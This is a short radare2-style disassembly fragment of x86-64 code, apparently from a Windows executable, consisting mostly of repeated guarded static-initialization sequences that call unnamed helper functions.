pop rbx
pop rbp
ret
lea rcx, [0x1408a8670]
call fcn.140224b88
cmp dword [0x1408a8670], 0xffffffff
jne 0x1400cc72e
mov rax, qword [0x1408a6fb8]
mov qword [0x1408a8668], rax
lea rcx, [0x1408a8670]
call fcn.140224b1c
jmp 0x1400cc72e
call fcn.140048fb0
nop
call fcn.140048fb0
nop
lea rcx, [0x1408a8660]
call fcn.140224b88
cmp dword [0x1408a8660], 0xffffffff
jne 0x1400ccb17
mov qword [0x1408a8658], rbx
lea rcx, [0x1408a8660]
call fcn.140224b1c
nop
jmp 0x1400ccb17
lea rcx, [0x1408a8670]
call fcn.140224b88
cmp dword [0x1408a8670], 0xffffffff
jne 0x1400ccb34
mov rax, qword [0x1408a6fb8]
mov qword [0x1408a8668], rax
lea rcx, [0x1408a8670]
call fcn.140224b1c
nop
jmp 0x1400ccb34
call fcn.14006ec10
nop
lea rcx, [0x1408a8660]
call fcn.140224b88
cmp dword [0x1408a8660], 0xffffffff
jne 0x1400cc48e
mov qword [0x1408a8658], rbx
lea rcx, [0x1408a8660]
call fcn.140224b1c
jmp 0x1400cc48e
lea rcx, [0x1408a8670]
call fcn.140224b88
cmp dword [0x1408a8670], 0xffffffff
jne 0x1400cc4b0
mov rax, qword [0x1408a6fb8]
mov qword [0x1408a8668], rax
lea rcx, [0x1408a8670]
call fcn.140224b1c
jmp 0x1400cc4b0
call fcn.14006ec10
nop
lea rcx, [0x1408a8660]
call fcn.140224b88
cmp dword [0x1408a8660], 0xffffffff
jne 0x1400cc71e
mov qword [0x1408a8658], rbx
lea rcx, [0x1408a8660]
call fcn.140224b1c
jmp 0x1400cc71e